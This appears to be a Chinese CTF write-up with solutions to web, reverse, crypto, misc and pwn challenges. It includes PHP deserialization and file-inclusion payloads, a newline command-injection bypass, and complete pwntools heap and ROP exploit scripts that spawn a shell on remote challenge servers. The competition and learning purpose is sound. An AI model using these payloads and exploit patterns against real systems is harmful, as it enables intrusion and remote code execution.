web
0x01 nani
查看源代码,猜测可能有文件包含漏洞,访问show.php得知有user.php,于是利用
php://filter/read=convert.base64-encode/resource
分别读下index、show的源码:
图片.png
index.php源码如下所示:
<html>
<title>Where</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php"></a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){
echo "NANI?";
exit();
}
include($file);
?>
</html>
show.php源码如下所示:
<?php
echo "user.php";
user.php源码如下所示:
<?php
class convent{
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>
那就直接构造payload
cmd=O:7:"convent":3:{s:4:"warn";s:10:"phpinfo();";}
图片.png
读下目录,看到一个txt文件直接访问就是flag了
图片.png
0x02 random
给了源码,mt_rand爆破
<?php
show_source(__FILE__);
include "flag.php";
$a = @$_REQUEST['hello'];
$seed = @$_REQUEST['seed'];
$key = @$_REQUEST['key'];
mt_srand($seed);
$true_key = mt_rand();
if ($key == $true_key){
echo "Key Confirm";
}
else{
die("Key Error");
}
eval( "var_dump($a);");
?> Key Error
用php_mt_seed,整一组key和seed,然后构造payload
图片.png
0x03 admin
查看源代码,应该是原题了,稍作改动,考察的又是php封装协议。
图片.png
使用
user=php://input
绕过file_get_contents。
图片.png
接下来就是读class.php,还是老方法读下index.php和class.php。
图片.png
index.php源码如下所示:
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
if(preg_match("/fffffflag/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
echo "<br/>";
echo "hava a rest and then change your choose.";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
class.php源码如下所示:
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//fffffflag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "Awwwwwwwwwww man";
}
}
?>
利用反序列化来读取flag文件,构造payload
图片.png
0x04 post1
查看源代码:
tac不行,试了tail,more也不行,cut可以,用9代替空格试出来了。
图片.png
也可以读index.php源码
图片.png
0x05 ping
查看源代码:
图片.png
绕过strcmp,又是文件包含,读下index.php和ping.php
图片.png
图片.png
index.php源码如下所示:
<?php
echo "There is a ping.php";
$password="ACmvXfSFUayohrLB";
if(isset($_POST['password'])){
if (strcmp($_POST['password'],$password) == 0) {
echo "Right!!!login success";
include($_REQUEST['path']);
exit();
}
else{
echo "Wrong password..";
}
}
?>
<!--
$password="****************";
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
include($_REQUEST['path']);
exit();
} else {
echo "Wrong password..";
}
-->
ping.php源码如下所示:
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
基本的命令分隔符被过滤了,尝试用命令分隔符%0a,发现可行。
图片.png
0x06 post2
看下源代码:
图片.png
绕了半天也绕不过去,后来非预期了,flag的名字和post1读index.php的一样,直接访问可得,等官方wp公布,再学习下正规解法。
图片.png
Reverse
0x01 basebasebase
程序没法直接运行,IDA处理下
图片.png
因为栈不平衡导致没法看伪代码,处理下
图片.png
大概关键比较的逻辑如下:
图片.png
随便找了个base64的脚本,把表换下
#coding:utf-8
import re
import struct
import binascii
base64list ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz)!@#$%^&*(+/='
def base64decode(cipherlist):
length=len(cipherlist)
group=length/4
s=''
string=''
for i in range(group-1):
j=i*4
s=cipherlist[j:j+4]
string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
j=(group-1)*4
s=cipherlist[j:j+4]
string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
if s[2]=='*':
return string
else:
string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
if s[3]=='*':
return string
else:
string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
return string
def base64encode(input_str):
# 对每一个字节取ascii数值或unicode数值,然后转换为2进制
str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
for i in input_str]
output_str = ''
# 不够3的整数倍 补齐所需要的次数
equal_num = 0
while str_ascii_list:
temp_list = str_ascii_list[:3]
if len(temp_list) != 3:
while len(temp_list) < 3:
equal_num += 1
temp_list += ['0'*8]
temp_str = ''.join(temp_list)
# 三个8字节的二进制 转换为4个6字节的二进制
temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
# 二进制转为10进制
temp_str_list = [int(x, 2) for x in temp_str_list]
# 判断是否为补齐的字符 做相应的处理
if equal_num:
temp_str_list = temp_str_list[0:4-equal_num]
output_str += ''.join([base64list[x] for x in temp_str_list])
str_ascii_list = str_ascii_list[3:]
output_str = output_str + '*' * equal_num
#print(output_str)
return output_str
b=[0x59,0x6E,0x7B,0x6B,0x59,0x20,0x77,0x6A,0x5A,0x5B,0x4D,0x6F,0x5B,0x43,0x5A,0x2A,0x5A,0x43,0x77,0x65,0x56,0x6E,0x55,0x43,0x59,0x5B,0x49,0x79,0x59,0x5B,0x2A,0x29,0x3]
c=''
for i in b:
c+=chr(i^3)
print c
flag=base64decode("ZmxhZ#tiYXNlX@Y)Y@tfUmV@ZXJzZX)*")
print flag
0x02 apk123
jeb打开,函数写的很明白,用了RC4加密,密钥和密文清晰可见
图片.png
直接把密文解16进制转成字符串,再转成base64,找个在线网址解了:
图片.png
0x03 babyre
众所周知,名字叫baby的都不baby,程序直接运行挂了。IDA打开,发现程序用了多线程和花指令干扰IDA反汇编
- 第一个线程用来检测调试
- 第二个线程用来获取输入
- 第三个线程用来做判断,关键加密函数是sub_401000
由于花指令没被反汇编的关键代码,可以进行强制分析:
图片.png
sub_401000两个参数,一个是输入,另一个是输入的长度,算法如下所示:
图片.png
写脚本:
a = [0x17, 0x83, 0xE7, 0x45, 0x85, 0x66, 0xE6, 0xF5, 0x97, 0x56, 0x23, 0x07, 0x05, 0xE2, 0x02, 0x02]
flag=""
for i in range(0, len(a), 2):
b = a[i] ^ 16
c = a[i+1] ^ 16
l2 = (b & 0xf0) >> 4
h1 = b & 0xf
l1 = (c & 0xf0) >> 4
h2 = c & 0xf
x1 = (h1 << 4) + l1
x2 = (h2 << 4) + l2
flag+=chr(x1)+chr(x2)
print flag
Crypto
0x01 rsa
已知dp,n,e,c求m
import gmpy2
e = 65537
n = 444511907374811621333864968430251419855347882081695888904531795366857517417289716213363408137550866409163408633679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356127131132345893007368069814286822931047915482947544230741924674880304607902413527794657556174021361113759962742306966643629644800759209829893438222447478882663573891473386520138017997195362559918730232709719486847337248425121547893862458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597262783543886217220299959364476125167328883418109849139384318692440116746717156025869399990008034002881758452936213924306428955442475834311604905905260723607788504332389824348292286402781474054375184928462870240017012586229806658850881803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883844706122407701782360072256987197118468391662366105964629786899281484884877640733549203394680006068637251717623691598753570260479050407069262236583726905151495550801274277155039839844872050380772537409714164680083539118124646217833871816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155927723376783
dp = 20688083194401098183398626094352469308150523583583104270723199988926694776131531953207031668652408481119466919329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182303357474341329766407852983275790499225322862499664901633190925232802162977135254216707834894816730529759991634343322039528413883937752397011466779521590767711786777317159161700645318091278528395252576086979838790917201179739657819356771788743301669430631157222234922010934163688512789947321007479617996170289230676037655762865962020063056831019134814970048718940037920888121806608032574204482673114726401
c = 378245912689862819668716257795108255336928883693984263805908702337591160408234974716356292413190786704878880742998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362477406890622345686503512151501592397926764442945655423801602100185867239106836704835215686246083812117439685990637352246191517010645343417283169123105697782747026231044064639955374854873089604766677942725374108213749982052985866259433900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354677823823078646874632195128328299942128116508251564811923564362991466660005438580449558184197006623490303413636461137434703925564785299335803341222051570131842042120923719184091689629809380828306649702440460761848154682611972768099340896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230908129965250151258048934985977493740897420718340268536363763127676899114219828753570040978640121185354431884041597851910784347040946251752577201426797684912671641470307249794269755972278013107831885544781029384256069586713714201822683071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564443133161527
for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)//i)+1)==0:
p=((dp*e-1)//i)+1
q=n//(((dp*e-1)//i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
m = gmpy2.powmod(c,d,n)
print ('m:',m)
m=38321129010640641075790959601976828944793938172125565
print hex(m)[2:-1].decode('hex')
Misc
0x01 XImg
png的lsb隐写
图片.png
0x02 pypi
看题目应该和python的pip有关了
图片.png
压缩包里,图片没被加密,txt被加密了,看了下png的lsb有东西,但是第一时间不知道这是什么编码方式,后来挨个试发现是base85
图片.png
解完base85,是一段base64,发现是jwt
图片.png
查看下jwt的内容,发现要爆破签名,压缩包的密码是签名的md5
图片.png
用c-jwt-cracker爆破签名,然后用md5解密压缩包
图片.png
接出来是gameforflag,根据题目在pypi搜到包,下载下来里面有个flag.py
图片.png
在里面还看到了札师傅的联系方式,一看刚才爆破出的Zac1,恍然大悟,tql
Pwn
0x01 heap
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'heap'
ctx.remote_libc = 'libc.so.6'
ctx.remote = ('120.55.43.255',12240)
ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
#p=rs()
p=rs('remote') # uncomment this for exploiting remote target
libc = ctx.libc # ELF object of the corresponding libc.
# ipy() # if you have ipython, you can use this to check variables.
def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
ctx.breakpoints = [0xEDA,0x10AF]
ctx.debug()
def create(size,data):
sla("Choice :",1)
sla("size: ",str(size))
sa("data: ",data)
def show():
sla("Choice :",3)
def edit(index,content):
sla("Your Choice: ",3)
sla("id: ",index)
sa("content: ",content)
def free(index):
sla("Choice :",2)
sla("Which heap do you want to delete: ",str(index))
create(0x80,'a')#0
create(0x68,'a')#1
create(0x68,'b')#2
create(0x10,'b')#3
free(0)
create(0x80,'\x78')#0
show()
ru("0 : ")
main_addr=uu64(p.recv(6))
libc_base=main_addr-(0x00007f5f1c534b78-0x7f5f1c170000)
leak("libc_base",libc_base)
pause()
free(0)
create(0x88,'a'*0x88+'\xe1')#0
free(1)
create(0x68,'a')#1
free(2)
create(0x68,p64(0)+p64(libc_base+libc.symbols['__free_hook']-0x40-0x10))#2
create(0x68,'a')#4
free(4)
free(1)
free(2)
create(0x68,p64(libc_base+libc.symbols['__free_hook']-0x43))#1
create(0x68,'a')#2
create(0x68,'/bin/sh\x00')#4
system_addr=libc_base+libc.symbols['system']
#debug()
create(0x68,0x33*'\x00'+p64(system_addr)+'\n')#5
free(4)
#debug()
irt()
0x02 Internal_Chat_System
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('inter')
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
p = process('./inter')
else:
p = remote(ip,port)
def add(size,name,age,description):
p.sendlineafter('choice:','2')
p.sendlineafter('name size:',str(size))
p.sendlineafter('your name:',name)
p.sendlineafter('age:',str(age))
p.sendlineafter('description:',description)
def login(name):
p.sendlineafter('choice:','1')
p.sendlineafter('name:',name)
def sendfriend(name,title,content):
p.sendlineafter('choice:','4')
p.sendlineafter('send a msg to:',name)
p.sendlineafter('message title:',title)
p.sendlineafter('Input your content:',content)
def add_delete(name,aorb):
p.sendlineafter('choice:','3')
p.sendlineafter("friend's name:",name)
p.sendlineafter('friend?(a/d)',aorb)
def view_fi():
p.sendlineafter('choice:','1')
def updete(name,age,description):
p.sendlineafter('choice:','2')
p.sendlineafter('your name:',name)
p.sendlineafter('age:',str(age))
p.sendlineafter('description:',description)
def logout():
p.sendlineafter('choice:','6')
add(0x68,'weeeee',30,'a'*0xf8+'ABCDEEEE')
payload='\x00'*0xb8+p64(0x131)
add(0x68,'weei',30,payload)
payload='\x00'*0xb8+p64(0x131)
add(0x68,'/bin/sh\x00',30,payload)
login('weeeee')
add_delete('weeeee','a')
add_delete('weeeee','d')
view_fi()
p.recvuntil('Age:')
_libc_start_addr=int(p.recv(12),16)-(0x7fe5cdf8cb78-0x7fe5cdbe8740)
print "_libc_start_addr=>",hex(_libc_start_addr)
p.recvuntil('ABCDEEEE')
heap_addr=u64(p.recv(4).ljust(8,'\x00'))-(0x0000000002401680-0x23ff000)
print "heap_addr=>",hex(heap_addr)
libc=LibcSearcher('__libc_start_main',_libc_start_addr)
libcbase_addr=_libc_start_addr-libc.dump('__libc_start_main')
system_addr=libcbase_addr+libc.dump('system')
atoi_addr=libcbase_addr+libc.dump('atoi')
updete('aa',heap_addr+0x200,'xxx')
logout()
login('weei')
payload='\x00'*0xb8+p64(0x131)+p64(heap_addr)+p64(_libc_start_addr+(0x7fe5cdf8cb78-0x7fe5cdbe8740))
updete('weei',30,payload)
logout()
add(0x68,p64(0x603068),30,'a')
payload='hhh\x00\x00\x00\x00\x00'+p64(0)*10+p64(0x131)+p64(0x603068)
add(0x128,payload,30,'f')
login(p64(atoi_addr))
updete(p64(system_addr),30,'111')
p.sendlineafter('choice:','/bin/sh\x00')
#gdb.attach(p)
p.interactive()
if __name__ == '__main__':
pwn('120.55.43.255',19812,1)
0x03 Self-service Refueling System
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'aaa'
#ctx.remote_libc = 'libc.so'
ctx.remote = ('120.55.43.255',23810)
ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
#p=rs()
p=rs('remote') # uncomment this for exploiting remote target
libc = ctx.libc # ELF object of the corresponding libc.
# ipy() # if you have ipython, you can use this to check variables.
def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
ctx.breakpoints = [0xEDA,0x10AF]
ctx.debug()
def create(size):
sla("Your Choice: ",1)
sla("size: ",size)
def show(index):
sla("Your Choice: ",2)
sla("id: ",index)
def edit(index,content):
sla("Your Choice: ",3)
sla("id: ",index)
sa("content: ",content)
def free(index):
sla("Your Choice: ",4)
sla("id: ",index)
sla("(y/n)\n",'y')
payload='a'*0x18+p32(0x6666)+p32(0x2333)+p64(0)+p64(0x0000000000400fb3)+p64(0x602018)+p64(0x0000400750 )+p64(0x00400EAA)
sla("ID :\n",payload)
sla("want?(L)\n",'1')
ru("Finish! your car is full of gas")
ru("\x5b\x30\x6d")
puts_addr=uu64(p.recv(6))
leak("puts_addr",puts_addr)
pause()
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
bin_sh_addr=libc_base+libc.dump("str_bin_sh")
sla("(y/n)\n",'y')
payload='a'*0x18+p32(0x6666)+p32(0x2333)+p64(0)+p64(0x0000000000400fb3)+p64(bin_sh_addr)+p64(system_addr)
sla("ID :\n",payload)
sla("want?(L)\n",'1')
irt()
网友评论